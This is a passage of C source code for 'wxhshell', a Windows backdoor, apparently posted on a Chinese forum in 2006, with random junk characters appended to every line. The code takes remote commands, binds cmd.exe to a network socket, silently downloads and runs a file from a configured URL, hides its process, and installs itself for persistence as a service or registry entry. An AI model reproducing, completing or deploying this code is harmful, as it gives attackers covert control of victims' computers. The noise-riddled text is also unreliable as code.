  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50~K,Jx6B  
  } J|~26lG  
  else { L*JPe"N -e  
~cqryr9  
    switch(cmd[0]) { P Sx304  
  z`U Ukl}T  
  // 帮助 c`G&KCw)d  
  case '?': { '2nqHX D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i8PuC^]  
    break; N1x@-/xa|  
  } d,cN(  
  // 安装 '&yeQ   
  case 'i': { %XTA;lrz  
    if(Install()) <@uOCRb V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); la^ DjHA$  
    else vkcRm`.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #A<P6zJXR  
    break; 0q6I;$H  
    } Ee2c5C!|C  
  // 卸载 B'weok  
  case 'r': { Of[;Qn  
    if(Uninstall()) z#Nl@NO&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F n|gVR  
    else ]v29 Rx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uTvv(f  
    break; 'Kbl3fUF  
    } QIU,!w-3X  
  // 显示 wxhshell 所在路径 Is.WZY a  
  case 'p': { 0l\y.   
    char svExeFile[MAX_PATH]; %NARyz  
    strcpy(svExeFile,"\n\r"); Qt+:4{He  
      strcat(svExeFile,ExeFile); z/]q)`G  
        send(wsh,svExeFile,strlen(svExeFile),0); ;<wS+4,  
    break; mpay^.(%  
    } -J0WUN$2*  
  // 重启 #exss=as/  
  case 'b': { d- E4~)Qy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9NpD!A&64<  
    if(Boot(REBOOT)) F%/ h*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7qqY  
    else { Nt-<W+,  
    closesocket(wsh); lmCZ8 j(FF  
    ExitThread(0); Bl;KOR  
    } C+V* Fh3  
    break; t+TYb#Tc  
    } `\Unpp\I  
  // 关机 0pgY1i7  
  case 'd': { 53OJ-m%a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V'gw\mcb  
    if(Boot(SHUTDOWN)) 3f76kl(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6][1 <}8  
    else { =XY]x  
    closesocket(wsh); ,^'R_efY  
    ExitThread(0); &h~aChJ  
    } MXvXVhCU  
    break; ;%!m<S|%k  
    } [rY T  
  // 获取shell _|{aC1Y!V  
  case 's': { !?FK We  
    CmdShell(wsh); 1s7^uA$}6  
    closesocket(wsh); Ff4*IOZ}(  
    ExitThread(0); j tA*pL'/V  
    break; >'=MH2;  
  } D!LX?_cD1i  
  // 退出 9'~- U  
  case 'x': { FG-L0X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @R2at  
    CloseIt(wsh); 4Yjx{5QSAG  
    break; y2yKm1<Ru<  
    } $#NQ <3  
  // 离开 F} DUEDND*  
  case 'q': { eiMH['X5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6[dur'x  
    closesocket(wsh); ,^s  
    WSACleanup(); u5E]t9~Pq  
    exit(1); Rm>^tu -  
    break; j|(Z#3J  
        } &Ral+J  
  } ;?L\Fz(<   
  } Tupiq  
/2uQCw&x-  
  // 提示信息 +Ov2`O8?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {1lO  
} 0 t.p1  
  } ${&5]!E[>D  
m:CTPzAt  
  return; ` $5UHa2/  
} \FzM4-  
15H6:_+=0  
// shell模块句柄 uOi&G:=  
int CmdShell(SOCKET sock) `S/wJ'c  
{ +5p{5 q(o  
STARTUPINFO si; h3G.EM:eG  
ZeroMemory(&si,sizeof(si)); *,WP,-0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gUax'^w;V;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U8QX46Br  
PROCESS_INFORMATION ProcessInfo; %@J1]E;  
char cmdline[]="cmd"; "5|Lz)=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #Z!b G?="  
  return 0; uQ Co6"e  
} vA%^`5  
\F6LZZ2Lv  
// 自身启动模式 c| ~6Ie  
int StartFromService(void) e 9$C#D> D  
{ %Z]'!X  
typedef struct }=}>9DS M  
{ Q=cQLf;/'  
  DWORD ExitStatus; L\aBc}  
  DWORD PebBaseAddress; v:_B kHN'  
  DWORD AffinityMask; MBr:?PE7  
  DWORD BasePriority; pd@;b5T  
  ULONG UniqueProcessId; *TdnB'Gd  
  ULONG InheritedFromUniqueProcessId; 4&^9Wklj  
}   PROCESS_BASIC_INFORMATION; Ka_S n  
>v5k{Cbp0  
PROCNTQSIP NtQueryInformationProcess; \+PIe7f_  
tykB.2f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FH5ql~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WOytxE  
O9h+Q\0\W  
  HANDLE             hProcess; gPC@Yy  
  PROCESS_BASIC_INFORMATION pbi; W0`Gc {  
H:{7X1bV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {{yt*7k{  
  if(NULL == hInst ) return 0; Owv +1+B  
YoODR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QL7>;t;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hgc=M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oxx^[ju~  
Uu p(6`7  
  if (!NtQueryInformationProcess) return 0; F phDF  
$a;]_Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X=X\F@V:u  
  if(!hProcess) return 0; $ItF])Bj5N  
HL{$ ^l#v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r4 dOK] 0  
%'Xk)-+y  
  CloseHandle(hProcess); &~DTZg Y  
Z'v-F^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T6 #"8qz<  
if(hProcess==NULL) return 0; 'W. V r4  
Z0,~V  
HMODULE hMod; d.<~&.-$  
char procName[255]; k)(Biz398E  
unsigned long cbNeeded; Y;J*4k]  
?:rx1}:F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h rN%  
u62)QJE  
  CloseHandle(hProcess); -#&kYK#Ph  
,t$,idcT+  
if(strstr(procName,"services")) return 1; // 以服务启动 kUHE\L.Y]  
/FY2vDfU6  
  return 0; // 注册表启动 KU&G;ni2  
} _Tm0x>EM  
"i)Yvh[y  
// 主模块 q`|CrOzO  
int StartWxhshell(LPSTR lpCmdLine) < a rZbM  
{ &x:JD1T}  
  SOCKET wsl; ztM<J+  
BOOL val=TRUE;  :S %lv  
  int port=0; -f(/B9}  
  struct sockaddr_in door; 9L eNe}9v  
#TJk-1XM*q  
  if(wscfg.ws_autoins) Install(); m@xi0t  
oUDVy_k  
port=atoi(lpCmdLine); V2&^!#=s  
dG'SZ&<  
if(port<=0) port=wscfg.ws_port; 7LZ^QC  
(il0M=M  
  WSADATA data; tOdT[&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qztV,R T  
> 6CV4 L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !3&kQpF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8|1^|B(l  
  door.sin_family = AF_INET; 8s}J!/2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zi]%Zp  
  door.sin_port = htons(port); jh ez  
.q`{Dgc~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N"5fmY<  
closesocket(wsl); +54aO  
return 1; Tt# bg1  
} D@Da0  
J@"utY6N  
  if(listen(wsl,2) == INVALID_SOCKET) { Xg<[fwW  
closesocket(wsl); ~fN%WZ;_  
return 1; 2i=H"('G)+  
} PK6iY7Qp)  
  Wxhshell(wsl); #} ,x @]p  
  WSACleanup(); ~XM[>M\qB  
8}p8r|d!ls  
return 0; <EX7WA  
|(IO=V4P  
} Rhgj&4  
h,t|V}Wb  
// 以NT服务方式启动 .=R lOK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !F4;_A`X  
{ x!TZ0fq0  
DWORD   status = 0; !AN^ ,v]D  
  DWORD   specificError = 0xfffffff; +JdZPb  
{Q (}DI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c-]fKj7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _ *(bmJM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gvavs+H%  
  serviceStatus.dwWin32ExitCode     = 0; cA`4:gp  
  serviceStatus.dwServiceSpecificExitCode = 0; o=+Z.-q  
  serviceStatus.dwCheckPoint       = 0; {+T/GBF-K=  
  serviceStatus.dwWaitHint       = 0; EYzg%\HH  
t=wXTK5"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D> ef  
  if (hServiceStatusHandle==0) return; OYwGz  
/="HqBI#i  
status = GetLastError(); (RL>Hn;.  
  if (status!=NO_ERROR) W.}].7}h  
{ 9 t:]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BR_TykP  
    serviceStatus.dwCheckPoint       = 0; D#rrW?-z  
    serviceStatus.dwWaitHint       = 0; C*~aSl7  
    serviceStatus.dwWin32ExitCode     = status; )$M,Ul  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5mB]N%rfW%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j+ ::y) $  
    return; 1JS2SxF  
  } 7!V @/S}7  
|hzT;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d.F)9h]XHO  
  serviceStatus.dwCheckPoint       = 0; !XE aF]8  
  serviceStatus.dwWaitHint       = 0; 1 i|.h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  $g8}^1  
} HxwlYx,4  
|Ur"za;%@  
// 处理NT服务事件,比如:启动、停止 >9K//co"of  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n]? WCG}cd  
{ S q@H  
switch(fdwControl) w<nv!e?  
{ rzLd"`  
case SERVICE_CONTROL_STOP: gSi5u# }J  
  serviceStatus.dwWin32ExitCode = 0; HMQI&Lh=U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pe^ !$  
  serviceStatus.dwCheckPoint   = 0; i?}>.$j  
  serviceStatus.dwWaitHint     = 0; UsW5d]i}Y  
  { K'b*A$5o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L4' [XcY  
  } L10IF  
  return; %_)zWlN  
case SERVICE_CONTROL_PAUSE: [s6C ZcL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7XAvd-  
  break; IM( u<c$  
case SERVICE_CONTROL_CONTINUE: e<+<lj "  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !c(QSf502  
  break; d,#.E@Po  
case SERVICE_CONTROL_INTERROGATE: [~%`N*G  
  break; &w\ I<J`T  
}; yXfMzG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P'[<A Z  
} m#@_8_ M  
hl/itSl$  
// 标准应用程序主函数 a|qsQ'1,;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MK$Jj "  
{ q?  z>  
<4X?EYaTq  
// 获取操作系统版本 Ob@Hng% v  
OsIsNt=GetOsVer(); nB@UKX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f6ZZ}lwaV  
A|RR]CFJ  
  // 从命令行安装 D(X qyN-P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4('JwZw\!  
k=n "+  
  // 下载执行文件 d]B= *7]  
if(wscfg.ws_downexe) { Z6s5M{mE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  &"S/Lt  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?l6jG  
} aC\4}i<  
NB)t7/Us  
if(!OsIsNt) { DdjCn`jqlf  
// 如果时win9x,隐藏进程并且设置为注册表启动 /^<en(0=P  
HideProc(); !D:k!  
StartWxhshell(lpCmdLine); F @SG((`  
} *@M3p}',M  
else /6tcSg)  
  if(StartFromService()) 3'#%c>_  
  // 以服务方式启动 8 njuDl  
  StartServiceCtrlDispatcher(DispatchTable); X#J6Umutm  
else \lr/;-zP  
  // 普通方式启动 (cV  
  StartWxhshell(lpCmdLine); rw u3Nb  
*o4%ul\3Y|  
return 0; A~71i&  
}
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只看该作者 1 发表于: 2006-10-10
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